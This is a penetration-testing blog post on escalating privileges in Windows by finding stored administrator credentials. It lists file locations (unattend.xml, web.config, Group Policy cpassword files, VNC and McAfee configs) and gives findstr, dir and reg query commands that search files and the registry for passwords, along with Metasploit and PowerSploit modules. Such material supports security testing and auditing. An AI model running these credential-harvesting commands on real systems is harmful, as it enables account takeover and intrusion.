Stored Credentials

pentestlab.blog/category/red-team/page/121

April 19, 2017

When an attacker has managed to gain access on a system one of his first moves is to search the entire system in order to discover credentials for the local administrator account which it will allow him to fully compromise the box. This is of course the easiest method of escalating privileges in a Windows system and the purpose of this article is to examine some common places of where these credentials might exist in order to assist with this process.

Windows Files

It is very common for administrators to use Windows Deployment Services in order to create an image of a Windows operating system and deploy this image in various systems through the network. This is called unattended installation. The problem with unattended installations is that the local administrator password is stored in various locations either in plaintext or as Base-64 encoded. These locations are:

```
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

There is a Metasploit module which can discover credentials via unattended installations:

```
post/windows/gather/enum_unattend
```

If the system is running an IIS web server the web.config file should be checked as it might contain the administrator password in plaintext. The location of this file is usually in the following directories:

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
```

A sample of a web.config file with the administrator credentials can be seen below:

```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<authentication mode="Windows">
<forms>
<credentials passwordFormat="Clear">
<user name="Admin" password="Admin" />
</credentials>
</forms>
</authentication>
</system.web>
</configuration>
```

Local administrators passwords can also retrieved via the Group Policy Preferences. The Groups.xml file which contains the password is cached locally or it can be obtained from the domain controller as every domain user has read access to this file. The password is in an encrypted form but Microsoft has published the key and it can be decrypted.

```
C:\ProgramData\Microsoft\Group Policy\History\????\Machine\Preferences\Groups\Groups.xml
\\????\SYSVOL\\Policies\????\MACHINE\Preferences\Groups\Groups.xml
```

Except of the Group.xml file the **cpassword** attribute can be found in other policy preference files as well such as:

```
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml
```

Commands

Instead of manually browsing all the files in the system it is also possible to run the following command in order to discover files that contain the word password:

```
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
```

Alternatively the following commands from the C: drive will return the location of the files that elevated credentials might be stored:

```
C:\> dir /b /s unattend.xml
C:\> dir /b /s web.config
C:\> dir /b /s sysprep.inf
C:\> dir /b /s sysprep.xml
C:\> dir /b /s *pass*
C:\> dir /b /s vnc.ini
```

Third Party Software

McAfee

Most Windows systems they are running McAfee as their endpoint protection. The password is stored encrypted in the SiteList.xml file:

```
%AllUsersProfile%Application Data\McAfee\Common Framework\SiteList.xml
```

VNC

Administrators some times tend to use VNC software instead of Windows Terminal Services for remote administration of the system. The password is encrypted but there are various tools that can decrypt it.

UltraVNC

```
[ultravnc]
passwd=5FAEBBD0EF0A2413
```

RealVNC

In RealVNC the hashed password is located in the following registry key:

```
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
```

Putty

Putty clear text proxy credentials can be found in the following directory:

```
reg query" HKCU\Software\SimonTatham\PuTTY\Sessions"
```

Registry

Registry can be queried as in some occasions might contain credentials.

```
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

Windows Autologin:

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
```

SNMP Parameters:

```
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
```

PowerSploit

PowerSploit can be used as a tool for the discovery of stored credentials. Specifically it supports the following modules which will check for credentials encrypted or plain-text in various files and in the registry:

```
Get-UnattendedInstallFile
Get-Webconfig
Get-ApplicationHost
Get-SiteListPassword
Get-CachedGPPPassword
Get-RegistryAutoLogon
```